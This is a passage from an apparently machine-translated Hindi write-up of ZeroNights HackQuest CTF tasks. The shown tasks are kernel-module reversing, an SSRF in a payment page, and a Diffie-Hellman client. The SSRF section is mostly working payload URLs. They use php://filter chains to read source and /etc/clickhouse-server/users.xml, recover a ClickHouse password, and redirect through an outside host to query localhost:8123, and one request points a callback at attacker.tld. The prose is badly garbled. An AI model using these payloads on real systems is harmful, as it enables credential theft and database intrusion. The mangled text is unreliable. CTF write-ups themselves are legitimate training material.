рд╣реИред


рдЖрдЗрдП рдЧрддрд┐рд╢реАрд▓рддрд╛ рдореЗрдВ рдХреБрдЫ рдЕрдиреНрдп рд╕реБрд░рд╛рдЧ рджреЗрдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

рдпрд╣рд╛рдБ EEy????I - EEy????I рдбрд┐рд╡рд╛рдЗрд╕ EEy????I рд╣рдо рдЗрд╕ рд▓рд╛рдЗрди рдХреЛ рдмрд┐рдирд╛рд░ рдореЗрдВ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рд╡рд╣рд╛рдВ рд╣реИ!



рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рдХреНрд░реЙрд╕-рд░реЗрдлрд░реЗрдВрд╕ рдирд╣реАрдВ рдорд┐рд▓рд╛, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдмрдЧрд▓ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рдорд╛рди рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред рдЖрдк рдХреЛрдб рдХреЛ рджреЗрдЦреЛ, рддреЛ рд╣реИ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдпрд╣ рд╣реИ рдХрд┐ рдЗрди рдЖрд╡рд╢реНрдпрдХ рд╕рдВрдЪрд╛рд▓рдХреЛрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд▓рд┐рдЦрдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╣реИрдВ рджреЗрдЦреЗрдВрдЧреЗ activate рд╣реИ, рдЬреЛ рдПрдХ рд╕рд░рд▓ XOR рджреНрд╡рд╛рд░рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реЛрддреЗ рд╣реИрдВред


рдкрдврд╝рдиреЗ рдЖрдкрд░реЗрд╢рди рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рд╕рдорд╛рд░реЛрд╣:



рд▓реЗрдЦрди рдСрдкрд░реЗрд╢рди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп, рдпрд╣ рдПрдХ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдЬрд╛рдВрдЪ рднреА рд╣реИ:



рд╕рдХреНрд░рд┐рдпрдг рд╕рддреНрдпрд╛рдкрди рдХреЛрдб рдХреЗ рдПрдХ рддреНрд╡рд░рд┐рдд рдирд┐рд░реАрдХреНрд╖рдг рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдХреЗрд╡рд▓ 0xFFFFFFFF811F094B рдкрддреЗ рдкрд░ рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рдбрд╛рд▓рдирд╛ рдФрд░ рд╡рд╣рд╛рдВ рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдП рдмрд┐рдирд╛ рд╕рдХреНрд░рд┐рдпрдг рдХреЛрдб рдХреЛ рдЪреБрдирдирд╛ рдЖрд╕рд╛рди рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, q -u рдХреЛ -s рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, qemu gdb рд╕реНрдЯрдм рдЪрд▓рд╛рддрд╛ рд╣реИ, рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА gdb рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЖрдИрдбреАрдП рдкреНрд░реЛ рдореЗрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдФрд░ рддреЗрдЬрд╝ рддрд░реАрдХрд╛ рд╣реИ, рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╣реИред рд▓реЗрдХрд┐рди рдХрдВрд╕реЛрд▓ рдЬреАрдбреАрдмреА рдореЗрдВ рд╕рдм рдХреБрдЫ рдХрд░рдиреЗ рд╕реЗ рдХрд┐рд╕реА рдХреЛ рдордирд╛ рдирд╣реАрдВ рд╣реИред


рд╣рдо рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╕рдм рдХреБрдЫ рдХрд░рддреЗ рд╣реИрдВред рдЕрдм рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣реЗ рдХрд░реНрдиреЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред




рдЪреВрдВрдХрд┐ рдХрд░реНрдиреЗрд▓ KASLR рд╕рдорд░реНрдерди рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЪрд╛рд▓реВ рдХрд░реНрдиреЗрд▓ рдХреЗ рдкрддреЛрдВ рдХреЛ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдСрдлрд╝рд╕реЗрдЯ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрд┐ рдХрд░реНрдиреЗрд▓ рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рд╣рд░ рдмрд╛рд░ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред рд╣рдо рдЗрд╕ рдСрдлрд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рддреЗ рд╣реИрдВ (рд╣рдо рдбрд┐рдмрдЧ рдХрд┐рдП рдЧрдП рдХрд░реНрдиреЗрд▓ рдХреЗ рдХреЛрдб рдореЗрдВ рдЕрджреНрд╡рд┐рддреАрдп рдмрд╛рдЗрдЯ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдкрддрд╛ рд▓реЗрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕ рдХреНрд░рдо рдХреЗ рдмрд┐рдирд╛рд░ рд╕реЗ рдкрддреЗ рдХреЛ рдШрдЯрд╛рддреЗ рд╣реИрдВ) рдФрд░, рд╕рдХреНрд░рд┐рдпрдг рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкрддреЗ рдореЗрдВ рдЬреЛрдбрд╝рддреЗ рд╣реБрдП, рд╣рдо рдЗрд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВред рд╕рдм рдХреБрдЫ, рдЕрдм рдпрд╣ рдЫреЛрдЯреЗ рдкрд░ рдирд┐рд░реНрднрд░ рд╣реИред рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдХреЛрдб рдЪреБрдиреЗрдВред





рдЗрд╕ рдХрд╛рд░реНрдп рдХрд╛ рд╕рдорд╛рдзрд╛рди рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╣рдм рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЖрдк рдпрд╣рд╛рдВ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ ред


рджрд┐рди 3. рдирд┐рдХрд╛рдп рдХреЗ рд╕рджрди


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди
blackfan

рдмреЗрдХреНрдб ( DeteAct ) рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХреА рдЧрдИ рдиреМрдХрд░реАред рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдПрдХ рдЕрдЪреВрдХ рднреБрдЧрддрд╛рди рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдмрдзрд╛рдИ рджреА рдЧрдИред рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП, php рдлрд╝рдВрдХреНрд╢рди file_get_contents рдХреА рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Clickhouse рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛ред


рддреАрд╕рд░реЗ рджрд┐рди рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдирд┐рд░реНрдгрдп (рдХрд╛рд▓рд╛рдзрди)

рдХрд╛рд░реНрдп рдПрдХ рднреБрдЧрддрд╛рди рдкреГрд╖реНрда рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХрдорд╛рддреНрд░ рджрд┐рд▓рдЪрд╕реНрдк рдкреИрд░рд╛рдореАрдЯрд░ callback_url рдерд╛ред


https://i.imgur.com/iX65TI3.png


рд╣рдо рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкрдХрдбрд╝рддреЗ рд╣реИрдВ:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

рдпрджрд┐ рд╕рд╛рдЗрдЯ рдЕрд▓реНрдлрд╝рд╛рдиреНрдпреВрдореЗрд░рд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓реМрдЯрд╛рддреА рд╣реИ рддреЛ рдХреЗрд╡рд▓ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИред рдЬрд╡рд╛рдм рдХреЗ рдЙрджрд╛рд╣рд░рдг:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

рд╣рдо callback_url рдбреЗрдЯрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ :, рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдФрд░ рд╕рдордЭреЗрдВ рдХрд┐, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдпрд╣ PHP рд╣реИред


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

рд╣рдо рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП php: // рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХрдиреНрд╡рд░реНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рддреЗ рд╣реИрдВ редрдмреЗрд╕ -64-рдПрдирдХреЛрдб рддрд╛рдХрд┐ рдЙрддреНрддрд░ рдЕрд▓реНрдлрд╝рд╛рдиреНрдпреВрдореЗрд░рд┐рдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реЛред рд╡рд░реНрдг +, / рдФрд░ = рдХреЗ рдХрд╛рд░рдг, рдХрднреА-рдХрднреА рдЙрддреНрддрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдмреЗрд╕ 64 рдХреЙрд▓ рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЖрдЙрдЯрдкреБрдЯ 200 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рд╕реАрдорд┐рдд рд╣реИ, рд▓реЗрдХрд┐рди рдЯреБрдХрдбрд╝реЛрдВ рд╕реЗ рд╣рдо рд╕реНрдерд╛рдиреАрдпрд╣реЛрд╕реНрдЯ рдкрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реАрдЦрддреЗ рд╣реИрдВред рд╣рдо callback_url рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ DeteAct рдмреНрд▓реЙрдЧ рдкрд░ ClickHouse рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рдкрд░ рдПрдХ рдирдпрд╛ рд▓реЗрдЦ рдвреВрдВрдврддреЗ рд╣реИрдВ , рдЬреЛ рдЕрдЬреАрдм рдХрд╛рд░реНрдп рдирд╛рдо "HOUSE OF BECHED" рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред


https://i.imgur.com/OBn22wi.png


ClickHouse рдореЗрдВ рдПрдХ HTTP рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдордирдорд╛рдиреЗ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ SSRF рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред


рд╣рдо рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдкрдврд╝рддреЗ рд╣реИрдВ, рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реЗ рдЦрд╛рддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

рдлрд┐рд░ рд╕реЗ, рдЙрддреНрдкрд╛рджрди рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рдФрд░ рдорд╛рдирдХ рдлрд╝рд╛рдЗрд▓ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдгрдп рд▓реЗрдирд╛, рд╡рд╛рдВрдЫрд┐рдд рдХреНрд╖реЗрддреНрд░ рдмрд╣реБрдд рджреВрд░ рд╣реИред


https://i.imgur.com/5Un6gfj.png


String.strip_tags рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрд╛рдЯ рд▓реЗрдВред


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рд╣реЛрдиреЗ рддрдХ рдЖрдЙрдЯрдкреБрдЯ рд▓рдВрдмрд╛рдИ рдЕрднреА рднреА рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рдПрдХ рд╕рдВрдкреАрдбрд╝рди рдлрд╝рд┐рд▓реНрдЯрд░ zlib.deflate рдЬреЛрдбрд╝реЗрдВред


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

рдФрд░ рд░рд┐рд╡рд░реНрд╕ рдСрд░реНрдбрд░ рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдкрдврд╝реЗрдВ:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдирд┐рдореНрди рдкреНрд░рдХрд╛рд░ рд╕реЗ ClickHouse рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

рд▓реЗрдХрд┐рди рдЬрдм рд╕реЗ рд╣рдо рд╢реБрд░реВ рдореЗрдВ POST рднреЗрдЬрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдФрд░ рдЕрдВрддрд┐рдо рдЕрдиреБрд░реЛрдз рдЗрд╕ рддрд░рд╣ рд╕реЗ рдирд┐рдХрд▓рд╛ (рдЗрд╕ рд╕реНрддрд░ рдкрд░ рдореИрдВ рдмрд╣реБрдд рдЧреВрдВрдЧрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдмрдбрд╝реЗ рдШреЛрдВрд╕рд▓реЗ рдХреЗ рдХрд╛рд░рдг, рдореИрдВрдиреЗ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

рдареАрдХ рд╣реИ, рддреЛ рдмрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

рдбреЗ 4. ASR-EHD


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди
AV1ct0r

рдЪреМрдереЗ рджрд┐рди рдХрд╛ рдХрд╛рд░реНрдпрднрд╛рд░ рдбрд┐рдЬрд┐рдЯрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рд╡рд┐рднрд╛рдЧ рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХрд╛рд░реНрдп рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдпрд╣ рджрд┐рдЦрд╛рдирд╛ рдерд╛ рдХрд┐ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рд╕реНрд░реЛрдд рдХреА рдЧрд▓рдд рдкрд╕рдВрдж рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ рдХреИрд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред рдЯрд╛рд╕реНрдХ рдореЗрдВ, рдПрд▓рдПрдлрдЖрд░рдЖрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдбреАрдПрдЪ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡-рд▓рд┐рдЦрд┐рдд рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдирд┐рдЬреА рдХреБрдВрдЬреА рдЬрдирд░реЗрдЯрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред DH рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдореВрд▓реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд kollichestva рд▓рдЧрд╛рддрд╛рд░ рдЯреАрдПрд▓рдПрд╕-рд╣рд╛рде рдорд┐рд▓рд╛рдирд╛ рдкреНрд░рд╛рдкреНрдд LFSR рдХреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрд╡рд╕реНрдерд╛ рдХреЛ рдмрд╣рд╛рд▓ рдХрд░рдиреЗ рдФрд░ рдкреВрд░реЗ рдпрд╛рддрд╛рдпрд╛рдд рдХреЛ рдбрд┐рдХреЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдкрд░ред


рдЪреМрдереЗ рджрд┐рди рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдирд┐рд░реНрдгрдп (AV1ct0r)

рджрд┐рди 4 / ASR-EHD - AV1ct0r рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреЗрдВ


рдкреАрдЯрд░ рдереЛрдбрд╝рд╛ рдкрд╛рдЧрд▓ рд╣реИ: рд╡рд╣ рд╣рдореЗрд╢рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдХрдиреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ рдкреАрдЯрд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЙрдиреНрд╣реЛрдВрдиреЗ рд╣рдореЗрдВ рдПрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдбрдВрдк рднреА рджрд┐рдпрд╛, рдЬреЛ рдЙрдирдХреЗ рдХрд╕реНрдЯрдо рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреНрдпрд╛ рдкреАрдЯрд░ рдХрд╛ рдХрдиреЗрдХреНрд╢рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. рдЖрдИрдбреАрдП рдкреНрд░реЛ рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдпрд╣ рдзреНрд╡рдЬ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рд╕реЗ рдлрд╛рдЗрд▓ https://ssltest.a1exdandy.me:443/ ред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдХреМрди рд╕рд╛ рднрд╛рдЧ (рдХрд┐рд╕ рдмрд╛рдЗрдЯ рд╕реЗ) рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else 